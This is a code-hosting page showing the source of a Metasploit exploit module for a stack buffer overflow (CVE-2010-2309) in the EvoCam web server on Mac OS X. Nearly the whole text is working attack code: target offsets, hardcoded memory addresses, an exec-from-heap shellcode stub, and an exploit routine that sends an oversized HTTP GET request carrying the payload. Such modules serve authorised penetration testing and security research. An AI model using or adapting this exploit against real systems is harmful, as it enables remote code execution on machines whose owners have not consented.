Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/http/evocam_webserver.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'MacOS X EvoCam HTTP GET Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in the web server provided with the EvoCam15program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload16from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6,173.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerability.18},19'Author' =>20[21'Paul Harrington', # Original Exploit Author and MSF Module22'dookie', # MSF Module Assistance23],24'Platform' => 'osx',25'License' => MSF_LICENSE,26'References' =>27[28['CVE', '2010-2309'],29['OSVDB', '65043'],30['EDB', '12835'],31],32'Payload' =>33{34'Space' => 300,35'BadChars' => "\x00\xff\x09\x0a\x0b\x0c\x0c\x0d\x20",36'StackAdjustment' => -3500,37},38'Privileged' => false,39'Targets' =>40[41[ 'Mac OS X 10.5.8 x86, EvoCam 3.6.6',42{43'Arch' => ARCH_X86,44'Offset' => 1560,45'Writable' => 0x8fe66448,46'setjmp' => 0x8fe1cf38,47'strdup' => 0x8fe210dc,48'jmp_eax' => 0x8fe0104149}50],51[ 'Mac OS X 10.5.8 x86, EvoCam 3.6.7',52{53'Arch' => ARCH_X86,54'Offset' => 1308,55'Writable' => 0x8fe66448,56'setjmp' => 0x8fe1cf38,57'strdup' => 0x8fe210dc,58'jmp_eax' => 0x8fe0104159}60],6162],63'DisclosureDate' => '2010-06-01',64'DefaultTarget' => 1))6566register_options(67[68Opt::RPORT(8080),69])70end7172def make_exec_payload_from_heap_stub()73frag0 =74"\x90" + # nop75"\x58" + # pop eax76"\x61" + # popa77"\xc3" # ret7879frag1 =80"\x90" + # nop81"\x58" + # pop eax82"\x89\xe0" + # mov eax, esp83"\x83\xc0\x0e" + # add eax, byte +0xc84"\x89\x44\x24\x08" + # mov [esp+0x8], eax85"\xc3" # ret8687setjmp = target['setjmp']88writable = target['Writable']89strdup = target['strdup']90jmp_eax = target['jmp_eax']9192exec_payload_from_heap_stub =93frag0 +94[setjmp].pack('V') +95[writable + 32, writable].pack("V2") +96frag1 +97"X" * 20 +98[setjmp].pack('V') +99[writable + 24, writable, strdup, jmp_eax].pack("V4") +100"X" * 4101end102103def exploit104connect105106offset = target['Offset']107108buffer = "GET "109buffer << rand_text_alpha_upper(offset)110buffer << make_exec_payload_from_heap_stub()111buffer << "\x90\x90"112buffer << payload.encoded113buffer << " HTTP/1.0\r\n\r\n"114115sock.put(buffer)116sock.close117118handler()119disconnect120end121end122123124